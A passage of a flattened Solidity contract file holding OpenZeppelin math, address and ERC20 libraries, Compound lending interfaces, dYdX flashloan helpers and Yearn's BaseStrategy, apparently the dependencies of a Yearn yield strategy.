contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: iearn-finance/yearn-vaults@0.4.2-1/HealthCheck interface HealthCheck { function check( uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding, uint256 totalDebt ) external view returns (bool); } // Part: CTokenI interface CTokenI { /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint256 cashPrior, uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint256 mintAmount, uint256 mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint256 repayAmount, uint256 accountBorrows, uint256 totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint256 repayAmount, address cTokenCollateral, uint256 seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint256 addAmount, uint256 newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint256 amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint256 amount); /** * @notice Failure event */ event Failure(uint256 error, uint256 info, uint256 detail); function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function accrualBlockNumber() external view returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function accrueInterest() external returns (uint256); function interestRateModel() external view returns (InterestRateModel); function totalReserves() external view returns (uint256); function reserveFactorMantissa() external view returns (uint256); function seize( address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function totalBorrows() external view returns (uint256); function totalSupply() external view returns (uint256); } // Part: DydxFlashloanBase contract DydxFlashloanBase { using SafeMath for uint256; function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getWithdrawAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0}), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } } // Part: OpenZeppelin/openzeppelin-contracts@3.1.0/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: iearn-finance/yearn-vaults@0.4.2-1/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: CErc20I interface CErc20I is CTokenI { function mint(uint256 mintAmount) external returns (uint256); function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function borrow(uint256 borrowAmount) external returns (uint256); function repayBorrow(uint256 repayAmount) external returns (uint256); function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256); function liquidateBorrow( address borrower, uint256 repayAmount, CTokenI cTokenCollateral ) external returns (uint256); function underlying() external view returns (address); } // Part: ComptrollerI interface ComptrollerI { function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); /*** Policy Hooks ***/ function mintAllowed( address cToken, address minter, uint256 mintAmount ) external returns (uint256); function mintVerify( address cToken, address minter, uint256 mintAmount, uint256 mintTokens ) external; function redeemAllowed( address cToken, address redeemer, uint256 redeemTokens ) external returns (uint256); function redeemVerify( address cToken, address redeemer, uint256 redeemAmount, uint256 redeemTokens ) external; function borrowAllowed( address cToken, address borrower, uint256 borrowAmount ) external returns (uint256); function borrowVerify( address cToken, address borrower, uint256 borrowAmount ) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint256 repayAmount ) external returns (uint256); function repayBorrowVerify( address cToken, address payer, address borrower, uint256 repayAmount, uint256 borrowerIndex ) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount ) external returns (uint256); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint256 repayAmount, uint256 seizeTokens ) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external returns (uint256); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint256 seizeTokens ) external; function transferAllowed( address cToken, address src, address dst, uint256 transferTokens ) external returns (uint256); function transferVerify( address cToken, address src, address dst, uint256 transferTokens ) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint256 repayAmount ) external view returns (uint256, uint256); function getAccountLiquidity(address account) external view returns ( uint256, uint256, uint256 ); /*** Comp claims ****/ function claimComp(address holder) external; function claimComp(address holder, CTokenI[] memory cTokens) external; function markets(address ctoken) external view returns ( bool, uint256, bool ); function compSpeeds(address ctoken) external view returns (uint256); } // Part: iearn-finance/yearn-vaults@0.4.2-1/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; // health checks bool public doHealthCheck; address public healthCheck; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.4.2"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external view virtual returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external view virtual returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), "!authorized"); _; } modifier onlyEmergencyAuthorized() { require( msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyStrategist() { require(msg.sender == strategist, "!strategist"); _; } modifier onlyGovernance() { require(msg.sender == governance(), "!authorized"); _; } modifier onlyKeepers() { require( msg.sender == keeper || msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(), "!authorized" ); _; } modifier onlyVaultManagers() { require(msg.sender == vault.management() || msg.sender == governance(), "!authorized"); _; } constructor(address _vault) public { _initialize(_vault, msg.sender, msg.sender, msg.sender); } /** * @notice * Initializes the Strategy, this is called only once, when the * contract is deployed. * @dev `_vault` should implement `VaultAPI`. * @param _vault The address of the Vault responsible for this Strategy. * @param _strategist The address to assign as `strategist`. * The strategist is able to change the reward address * @param _rewards The address to use for pulling rewards. * @param _keeper The adddress of the _keeper. _keeper * can harvest and tend a strategy. */ function _initialize( address _vault, address _strategist, address _rewards, address _keeper ) internal { require(address(want) == address(0), "Strategy already initialized"); vault = VaultAPI(_vault); want = IERC20(vault.token()); want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas) strategist = _strategist; rewards = _rewards; keeper = _keeper; // initialize variables minReportDelay = 0; maxReportDelay = 86400; profitFactor = 100; debtThreshold = 0; vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled } function setHealthCheck(address _healthCheck) external onlyVaultManagers { healthCheck = _healthCheck; } function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers { doHealthCheck = _doHealthCheck; } /** * @notice * Used to change `strategist`. * * This may only be called by governance or the existing strategist. * @param _strategist The new address to assign as `strategist`. */ function setStrategist(address _strategist) external onlyAuthorized { require(_strategist != address(0)); strategist = _strategist; emit UpdatedStrategist(_strategist); } /** * @notice * Used to change `keeper`. * * `keeper` is the only address that may call `tend()` or `harvest()`, * other than `governance()` or `strategist`. However, unlike * `governance()` or `strategist`, `keeper` may *only* call `tend()` * and `harvest()`, and no other authorized functions, following the * principle of least privilege. * * This may only be called by governance or the strategist. * @param _keeper The new address to assign as `keeper`. */ function setKeeper(address _keeper) external onlyAuthorized { require(_keeper != address(0)); keeper = _keeper; emit UpdatedKeeper(_keeper); } /** * @notice * Used to change `rewards`. EOA or smart contract which has the permission * to pull rewards from the vault. * * This may only be called by the strategist. * @param _rewards The address to use for pulling rewards. */ function setRewards(address _rewards) external onlyStrategist { require(_rewards != address(0)); vault.approve(rewards, 0); rewards = _rewards; vault.approve(rewards, uint256(-1)); emit UpdatedRewards(_rewards); } /** * @notice * Used to change `minReportDelay`. `minReportDelay` is the minimum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the minimum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The minimum number of seconds to wait between harvests. */ function setMinReportDelay(uint256 _delay) external onlyAuthorized { minReportDelay = _delay; emit UpdatedMinReportDelay(_delay); } /** * @notice * Used to change `maxReportDelay`. `maxReportDelay` is the maximum number * of blocks that should pass for `harvest()` to be called. * * For external keepers (such as the Keep3r network), this is the maximum * time between jobs to wait. (see `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _delay The maximum number of seconds to wait between harvests. */ function setMaxReportDelay(uint256 _delay) external onlyAuthorized { maxReportDelay = _delay; emit UpdatedMaxReportDelay(_delay); } /** * @notice * Used to change `profitFactor`. `profitFactor` is used to determine * if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()` * for more details.) * * This may only be called by governance or the strategist. * @param _profitFactor A ratio to multiply anticipated * `harvest()` gas cost against. */ function setProfitFactor(uint256 _profitFactor) external onlyAuthorized { profitFactor = _profitFactor; emit UpdatedProfitFactor(_profitFactor); } /** * @notice * Sets how far the Strategy can go into loss without a harvest and report * being required. * * By default this is 0, meaning any losses would cause a harvest which * will subsequently report the loss to the Vault for tracking. (See * `harvestTrigger()` for more details.) * * This may only be called by governance or the strategist. * @param _debtThreshold How big of a loss this Strategy may carry without * being required to report to the Vault. */ function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized { debtThreshold = _debtThreshold; emit UpdatedDebtThreshold(_debtThreshold); } /** * @notice * Used to change `metadataURI`. `metadataURI` is used to store the URI * of the file describing the strategy. * * This may only be called by governance or the strategist. * @param _metadataURI The URI that describe the strategy. */ function setMetadataURI(string calldata _metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of 